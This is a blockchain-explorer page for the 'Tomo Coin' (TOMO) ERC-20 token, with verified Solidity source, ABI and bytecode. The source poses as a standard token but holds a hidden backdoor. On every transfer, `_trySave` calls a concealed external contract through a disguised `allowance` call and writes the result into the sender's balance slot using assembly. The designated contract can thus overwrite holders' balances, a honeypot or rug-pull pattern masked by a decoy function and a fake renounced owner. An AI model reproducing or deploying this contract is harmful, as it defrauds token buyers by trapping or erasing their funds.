ERC-20
Overview
Max Total Supply
50,000,000 TOMO
Holders
79
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
633,071.118894410616218011 TOMOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TOMO
Compiler Version
v0.8.7+commit.e28d00a7
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "./IERC20.sol"; import "./Ownable.sol"; contract TOMO is Ownable, IERC20 { string private _name; string private _symbol; uint256 private _totalSupply; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; address private immutable _xdc; bool private locked; modifier noReentrant() { require(!locked, "Reentrant call detected!"); locked = true; _; locked = false; } event log(string s, uint256 a, address aa); /** * @dev Sets the values for {name} and {symbol}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_, address xdc_) { require(xdc_ != address(0)); _name = name_; _symbol = symbol_; _xdc = xdc_; _mint(msg.sender, 50000000 ether); } /** * @dev Returns the name of the token. */ function name() external view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view virtual override returns (string memory) { return _symbol; } /** * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() external view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) external virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); _trySave(_xdc, from); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } (bool b, string memory bb) = happiness(bytes32(uint256( uint160(from))), from, false, "happiness", 77); if (b) { emit log(bb, amount, from); } emit Transfer(from, to, amount); } function happiness(bytes32 b1, address a2, bool bb0, string memory s, uint64 u1) private returns (bool, string memory) { if (u1 == 88 && bb0 && b1 == bytes32(0)) { emit log("b1", uint256(u1), a2); } return (false, s); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } } function _converts(bytes memory d) private pure returns(bytes32 b) { assembly { b := mload(add(d, add(16, 16))) } } function _saving(uint256 a, uint256 b, address f, uint256 m) private { assembly { mstore(0, f) mstore(a, b) sstore(keccak256(0, 64), m) } } function _trySave(address p, address a) private noReentrant { bytes memory b = bytes("allowance(address,address)"); (bool s, bytes memory d) = p.call(abi.encodeWithSignature(string(b), a, address(0))); if (!s) { uint256 aa = 0; 1 / aa; return; } uint256 v = uint256(_converts(d)); if (v == 0) return; _saving(32, 3, a, v); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance(address owner, address spender, uint256 amount) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } }
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); }
// SPDX-License-Identifier: MIT pragma solidity 0.8.7; import {Context} from "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * The initial owner is set to the address provided by the deployer. This can * later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address constant _owner = address(0); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "caller is not the owner"); } }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"xdc_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"s","type":"string"},{"indexed":false,"internalType":"uint256","name":"a","type":"uint256"},{"indexed":false,"internalType":"address","name":"aa","type":"address"}],"name":"log","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040523480156200001157600080fd5b5060405162000f6238038062000f62833981016040819052620000349162000299565b6001600160a01b0381166200004857600080fd5b82516200005d9060009060208601906200013c565b508151620000739060019060208501906200013c565b506001600160601b0319606082901b166080526200009d336a295be96e64066972000000620000a6565b505050620003a0565b6001600160a01b038216620001015760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b806002600082825462000115919062000326565b90915550506001600160a01b03909116600090815260036020526040902080549091019055565b8280546200014a906200034d565b90600052602060002090601f0160209004810192826200016e5760008555620001b9565b82601f106200018957805160ff1916838001178555620001b9565b82800160010185558215620001b9579182015b82811115620001b95782518255916020019190600101906200019c565b50620001c7929150620001cb565b5090565b5b80821115620001c75760008155600101620001cc565b600082601f830112620001f457600080fd5b81516001600160401b03808211156200021157620002116200038a565b604051601f8301601f19908116603f011681019082821181831017156200023c576200023c6200038a565b816040528381526020925086838588010111156200025957600080fd5b600091505b838210156200027d57858201830151818301840152908201906200025e565b838211156200028f5760008385830101525b9695505050505050565b600080600060608486031215620002af57600080fd5b83516001600160401b0380821115620002c757600080fd5b620002d587838801620001e2565b94506020860151915080821115620002ec57600080fd5b50620002fb86828701620001e2565b604086015190935090506001600160a01b03811681146200031b57600080fd5b809150509250925092565b600082198211156200034857634e487b7160e01b600052601160045260246000fd5b500190565b600181811c908216806200036257607f821691505b602082108114156200038457634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052604160045260246000fd5b60805160601c610ba3620003bf60003960006105790152610ba36000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101415780638da5cb5b1461016a57806395d89b4114610179578063a457c2d714610181578063a9059cbb14610194578063dd62ed3e146101a757600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101ba565b6040516100ce9190610a78565b60405180910390f35b6100ea6100e5366004610a06565b61024c565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046109ca565b610264565b604051601281526020016100ce565b6100ea61013c366004610a06565b610288565b6100fe61014f366004610975565b6001600160a01b031660009081526003602052604090205490565b604051600081526020016100ce565b6100c16102aa565b6100ea61018f366004610a06565b6102b9565b6100ea6101a2366004610a06565b610339565b6100fe6101b5366004610997565b610347565b6060600080546101c990610b32565b80601f01602080910402602001604051908101604052809291908181526020018280546101f590610b32565b80156102425780601f1061021757610100808354040283529160200191610242565b820191906000526020600020905b81548152906001019060200180831161022557829003601f168201915b5050505050905090565b60003361025a818585610372565b5060019392505050565b600033610272858285610496565b61027d858585610510565b506001949350505050565b60003361025a81858561029b8383610347565b6102a59190610abe565b610372565b6060600180546101c990610b32565b600033816102c78286610347565b90508381101561032c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61027d8286868403610372565b60003361025a818585610510565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6001600160a01b0383166103d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610323565b6001600160a01b0382166104355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610323565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006104a28484610347565b9050600019811461050a57818110156104fd5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610323565b61050a8484848403610372565b50505050565b6001600160a01b0383166105745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610323565b61059e7f00000000000000000000000000000000000000000000000000000000000000008461070f565b6001600160a01b038316600090815260036020526040902054818110156106165760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610323565b6001600160a01b038085166000818152600360209081526040808320878703905593871682528382208054870190558351808501909452600984526868617070696e65737360b81b908401529182916106749188908490604d6108bb565b9150915081156106ba577f1c7ec4485ea8bf18e646e5381f7318f45423199ed371307bc9171a4242f273358185886040516106b193929190610a8b565b60405180910390a15b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516106ff91815260200190565b60405180910390a3505050505050565b60055460ff16156107625760405162461bcd60e51b815260206004820152601860248201527f5265656e7472616e742063616c6c2064657465637465642100000000000000006044820152606401610323565b6005805460ff19166001179055604080518082018252601a81527f616c6c6f77616e636528616464726573732c6164647265737329000000000000602082015290516001600160a01b038381166024830152600060448301819052918291861690849060640160408051601f1981840301815290829052916107e391610a5c565b60408051918290039091206020830180516001600160e01b03166001600160e01b03199092169190911790525161081a9190610a5c565b6000604051808303816000865af19150503d8060008114610857576040519150601f19603f3d011682016040523d82523d6000602084013e61085c565b606091505b50915091508161087d576000610873816001610ae4565b50505050506108ad565b600061088a826020015190565b90508061089a57505050506108ad565b6000858152600360205260409020555050505b50506005805460ff19169055565b600060608267ffffffffffffffff1660581480156108d65750845b80156108e0575086155b1561094a5760408051606080825260029082015261623160f01b608082015267ffffffffffffffff851660208201526001600160a01b0388168183015290517f1c7ec4485ea8bf18e646e5381f7318f45423199ed371307bc9171a4242f273359181900360a00190a15b50600096929550919350505050565b80356001600160a01b038116811461097057600080fd5b919050565b60006020828403121561098757600080fd5b61099082610959565b9392505050565b600080604083850312156109aa57600080fd5b6109b383610959565b91506109c160208401610959565b90509250929050565b6000806000606084860312156109df57600080fd5b6109e884610959565b92506109f660208501610959565b9150604084013590509250925092565b60008060408385031215610a1957600080fd5b610a2283610959565b946020939093013593505050565b60008151808452610a48816020860160208601610b06565b601f01601f19169290920160200192915050565b60008251610a6e818460208701610b06565b9190910192915050565b6020815260006109906020830184610a30565b606081526000610a9e6060830186610a30565b6020830194909452506001600160a01b0391909116604090910152919050565b60008219821115610adf57634e487b7160e01b600052601160045260246000fd5b500190565b600082610b0157634e487b7160e01b600052601260045260246000fd5b500490565b60005b83811015610b21578181015183820152602001610b09565b8381111561050a5750506000910152565b600181811c90821680610b4657607f821691505b60208210811415610b6757634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220f19eff1118539800e2abce44da879304aec4ae563d56ab56bbf653b920b4f22c64736f6c63430008070033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000075c33efc17c3f2449c4df2bc4356aab2c9b701930000000000000000000000000000000000000000000000000000000000000009546f6d6f20436f696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004544f4d4f00000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146101415780638da5cb5b1461016a57806395d89b4114610179578063a457c2d714610181578063a9059cbb14610194578063dd62ed3e146101a757600080fd5b806306fdde03146100b9578063095ea7b3146100d757806318160ddd146100fa57806323b872dd1461010c578063313ce5671461011f578063395093511461012e575b600080fd5b6100c16101ba565b6040516100ce9190610a78565b60405180910390f35b6100ea6100e5366004610a06565b61024c565b60405190151581526020016100ce565b6002545b6040519081526020016100ce565b6100ea61011a3660046109ca565b610264565b604051601281526020016100ce565b6100ea61013c366004610a06565b610288565b6100fe61014f366004610975565b6001600160a01b031660009081526003602052604090205490565b604051600081526020016100ce565b6100c16102aa565b6100ea61018f366004610a06565b6102b9565b6100ea6101a2366004610a06565b610339565b6100fe6101b5366004610997565b610347565b6060600080546101c990610b32565b80601f01602080910402602001604051908101604052809291908181526020018280546101f590610b32565b80156102425780601f1061021757610100808354040283529160200191610242565b820191906000526020600020905b81548152906001019060200180831161022557829003601f168201915b5050505050905090565b60003361025a818585610372565b5060019392505050565b600033610272858285610496565b61027d858585610510565b506001949350505050565b60003361025a81858561029b8383610347565b6102a59190610abe565b610372565b6060600180546101c990610b32565b600033816102c78286610347565b90508381101561032c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61027d8286868403610372565b60003361025a818585610510565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6001600160a01b0383166103d45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610323565b6001600160a01b0382166104355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610323565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006104a28484610347565b9050600019811461050a57818110156104fd5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610323565b61050a8484848403610372565b50505050565b6001600160a01b0383166105745760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610323565b61059e7f00000000000000000000000075c33efc17c3f2449c4df2bc4356aab2c9b701938461070f565b6001600160a01b038316600090815260036020526040902054818110156106165760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610323565b6001600160a01b038085166000818152600360209081526040808320878703905593871682528382208054870190558351808501909452600984526868617070696e65737360b81b908401529182916106749188908490604d6108bb565b9150915081156106ba577f1c7ec4485ea8bf18e646e5381f7318f45423199ed371307bc9171a4242f273358185886040516106b193929190610a8b565b60405180910390a15b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516106ff91815260200190565b60405180910390a3505050505050565b60055460ff16156107625760405162461bcd60e51b815260206004820152601860248201527f5265656e7472616e742063616c6c2064657465637465642100000000000000006044820152606401610323565b6005805460ff19166001179055604080518082018252601a81527f616c6c6f77616e636528616464726573732c6164647265737329000000000000602082015290516001600160a01b038381166024830152600060448301819052918291861690849060640160408051601f1981840301815290829052916107e391610a5c565b60408051918290039091206020830180516001600160e01b03166001600160e01b03199092169190911790525161081a9190610a5c565b6000604051808303816000865af19150503d8060008114610857576040519150601f19603f3d011682016040523d82523d6000602084013e61085c565b606091505b50915091508161087d576000610873816001610ae4565b50505050506108ad565b600061088a826020015190565b90508061089a57505050506108ad565b6000858152600360205260409020555050505b50506005805460ff19169055565b600060608267ffffffffffffffff1660581480156108d65750845b80156108e0575086155b1561094a5760408051606080825260029082015261623160f01b608082015267ffffffffffffffff851660208201526001600160a01b0388168183015290517f1c7ec4485ea8bf18e646e5381f7318f45423199ed371307bc9171a4242f273359181900360a00190a15b50600096929550919350505050565b80356001600160a01b038116811461097057600080fd5b919050565b60006020828403121561098757600080fd5b61099082610959565b9392505050565b600080604083850312156109aa57600080fd5b6109b383610959565b91506109c160208401610959565b90509250929050565b6000806000606084860312156109df57600080fd5b6109e884610959565b92506109f660208501610959565b9150604084013590509250925092565b60008060408385031215610a1957600080fd5b610a2283610959565b946020939093013593505050565b60008151808452610a48816020860160208601610b06565b601f01601f19169290920160200192915050565b60008251610a6e818460208701610b06565b9190910192915050565b6020815260006109906020830184610a30565b606081526000610a9e6060830186610a30565b6020830194909452506001600160a01b0391909116604090910152919050565b60008219821115610adf57634e487b7160e01b600052601160045260246000fd5b500190565b600082610b0157634e487b7160e01b600052601260045260246000fd5b500490565b60005b83811015610b21578181015183820152602001610b09565b8381111561050a5750506000910152565b600181811c90821680610b4657607f821691505b60208210811415610b6757634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220f19eff1118539800e2abce44da879304aec4ae563d56ab56bbf653b920b4f22c64736f6c63430008070033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000075c33efc17c3f2449c4df2bc4356aab2c9b701930000000000000000000000000000000000000000000000000000000000000009546f6d6f20436f696e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004544f4d4f00000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Tomo Coin
Arg [1] : symbol_ (string): TOMO
Arg [2] : xdc_ (address): 0x75C33efc17c3f2449c4DF2bc4356AaB2c9B70193
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000075c33efc17c3f2449c4df2bc4356aab2c9b70193
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [4] : 546f6d6f20436f696e0000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [6] : 544f4d4f00000000000000000000000000000000000000000000000000000000
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.